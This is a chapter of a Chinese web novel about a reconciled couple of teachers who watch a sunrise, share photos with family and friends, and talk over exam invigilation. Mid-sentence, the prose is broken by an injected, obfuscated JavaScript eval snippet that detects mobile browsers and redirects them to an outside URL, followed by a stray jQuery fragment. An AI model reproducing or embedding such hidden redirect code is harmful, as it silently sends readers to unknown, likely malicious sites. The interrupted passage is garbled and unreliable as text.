“你确定要这样睡觉？”商陆轻叹，语气带上一丝无奈：“明天起来你的手臂会被我压麻的。” 霍空青不语，只是将脑袋埋在女朋友的颈窝，双手抱着商陆的腰，紧紧贴着她的身体。 自己已经好久好久没有抱着女朋友睡觉了，为此支付一点点代价又如何？她心甘情愿。 22. 第二十二章 不出所料，手臂麻了。 不过霍空青也因此找到理由赖床，让呲着牙让商陆帮自己捏手臂，她安逸的躺在对方的大腿上。 “不是说要看日出吗？外面的天好像已经微微亮了。”商陆说道，有一下没一下的捏着霍空青手臂上的肌肉。 酥麻感早就已经缓解，维持亲昵的现状不过是小情侣之间的小小默契。 “不急，我查过攻略了，要再过二十分钟才是太阳升起的地方，现在不过是有一点点微光而已。”霍空青懒懒散散的开口。 日出哪里有和女朋友贴贴舒服，霍空青巴不得现在起个雾，让自己能多在商陆怀里赖一会。 十五分钟后，穿戴整齐的霍空青和商陆站在观景台上，靠着木制栏杆远眺东方升起的朝阳。 “看来下次带个相机会更好，手机能调整的参数还是太少了。”霍空青感慨着，随后转身背靠着栏杆，调整成自拍模式。 “商陆，回头。”霍空青说道。 商陆下意识扭头，不过她看的不是镜头而是霍空青。 咔嚓—— 快门被按下，霍空青满是笑容的正脸和商陆被朝阳勾勒出金色线条的侧脸出现在屏幕上，时光在这一刻被短暂定格。 “我可以发朋友圈吗？”霍空青侧头商陆的意见，对随手拍下的合照很是满意。 商陆凑近看了一眼，照片中的自己只露出侧脸，看不出太多的情绪，“就单独发这一张吗？” 霍空青眨眨眼，“那我们再拍一张？” 商陆没有拒绝，转身和霍空青一样后背靠在栏杆上，对着镜头扬起一抹温柔的笑容。 橙红色的朝阳突破山脉和云层的遮挡出现在两人身后，天光破晓，金色的光晕笼罩在两人身上，就像是加了油画滤镜一般，满是童话结尾的幸福气息。 拍完合照后，霍空青和商陆又开始狂拍日出和周围的景色，试图凑出一个九宫格，将最心爱的人放在最中间。 二十分钟后，太阳已经彻底探出头来，霍空青和商陆也转移阵地回到帐篷外开始挑选图片。 两张合照在霍空青看来都非常好，发现自己陷入选择困难后，直接将两张合照在一家人的小群里面，随后连发三个猫猫大笑。 【霍苏叶：构图很不错，光线也很好，这是达成所愿了？】 【霍空青：显而易见。】 【喝药了吗：商陆是个好孩子，认定是她就好好对她，我不希望自己的孩子是个轻视感情的人。】 【霍空青：妈妈你放心，我是一个很专一的人。】 【喝药了吗：商陆原谅你不告而别足足五年了？】 【霍空青：她愿意给我一个机会，不过我还没想好怎么和她说我这五年的经历。】 【霍空青：先不谈这个，帮我看看哪一张照片适合发朋友圈，拜托了！】 【霍苏叶：我觉得第二张比较好。】 【喝药了吗：水平都一般，请个专业的摄影师拍更好。】 只有母女三人的群聊里很是热闹，消息嗡嗡嗡响个不停，让在一边选图的商陆侧目看向捧着手机疯狂打字的霍空青。 “在和谁聊天呢？”商陆忍不住问道。 “我妈和我姐的消息，我在和她们分享刚才拍的照片。”霍空青转过手机屏幕，态度很是坦诚。 “要不要我打个视频介绍你们认识一下？说起来你还没见过我姐姐呢。”霍空青随口说道，嘴里还轻哼着不知名的曲调，完全没有之前稳重的模样，足以见得她此刻愉悦的心情。 “等等，这太突然了，我还没做好准备。”商陆心跳加速，不带那么快见家长的。 “那就等过年？”霍空青问道。 商陆的眼神变得有些微妙，“你还记得答应过我什么吗？” 霍空青愣了一下，立刻正色道：“我的意思是在不影响我们观看第二届唱歌比赛的情况下，我想带着你和我家人见一面。” 商陆眼神柔和下来，没有把话说得太满，“要是时间上不冲突的话。” 霍空青明白，商陆这样说就是同意了，只是不喜欢提前太早做出承诺而已。 最后被霍空青选中放在九宫格中间发出去的是第二张照片，两人都望着镜头，怎么看怎么般配。 霍空青没有屏蔽任何人，包括校长和汪主任在内。在跑腿小哥把热乎乎的早餐送到露营场地的时候，点赞数量已经超过五十，评论也有十多条。 单纯的图片分享可以解读出很多意思，相对单纯的校长和汪主任只是觉得两人关系好，在国庆一起出去玩了。 霍空青在国内的那些朋友，大多猜出来她这是追求成功，开始刷屏发99，只有两个从外国调到国内的助理在99后面加了一个微妙的笑容。 想到两人在加班加点为自己干活后，霍空青稍稍心虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298504|181487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一秒，随后点开其中一人的对话框。 【霍空青：辛苦了，这个季度的你们两个的奖金翻倍。】 【助理凯西：多谢boss！祝boss和夫人长长久久！】 得到助理发自内心的祝福后，霍空青又变得心安理得。 自己虽然让员工没有休息时间，可她开出的报酬绝对高，两个调回来的助理年薪都是百万美元起步呢！比起那些纯压榨员工把他们当牛马用的，自己已经很厚道了呢！称得上良心企业家！ 商陆倒是没发两人的合照，只是在同一时间发了一些自己拍摄到的日出和路上的风景照，得到一众好友点赞。 【袁艺：复合了？】 【商陆：嗯。】 【袁艺：恭喜啊，别忘了我们的约定，先脱单的要请对方吃饭哦~】 【商陆：好，时间地点你定，我们付钱。】 【袁艺：好，一言为定！我要让你大出血！】 【袁艺：对了，月考的监考安排出来了，你家那位被安排到了最后一个考场，体育生比较多，你记得提前传授一下经验。】 监考安排表？商陆点开工作app，看起了之前被忽略的消息。 十四个班级一共有二十个考场，每个考场差不多三十人，是按照入学摸底考的成绩安排的考场，相对靠后的是特招生。 “月考考场安排出来了。”商陆说道，“恭喜你，这次你是监考老师了。” “我负责监考哪个班？”霍空青凑过来，将下巴搁在商陆的肩膀上。 商陆放松肩膀，“致远楼二楼的心理教室，第一天监考两场场，第二天一场，第三天也是两场，有些辛苦。” “你呢。”霍空青忍不住用鼻尖蹭了蹭商陆的耳朵。 “我在自己班级监考，第一天三场，第二天一场，考完化学我就要开始改卷子了。”商陆觉得耳朵有些痒，下意识歪头躲避。 下一秒商陆就发现自己的耳垂被人含住，温热的触感通过神经末梢传递到自己的大脑，让她头皮发麻。 “霍空青！”商陆压低声音，“我在和你谈工作！” 霍空青无辜眨眼，松嘴用鼻尖蹭了蹭，“可现在是休息时间，这个安排也就是白天我们监考，晚上我陪着你改卷子嘛~” 商陆试图冷脸，可对上霍空青水汪汪的眼神后又一秒破功，只能无奈开口，“公共场合，注意影响。”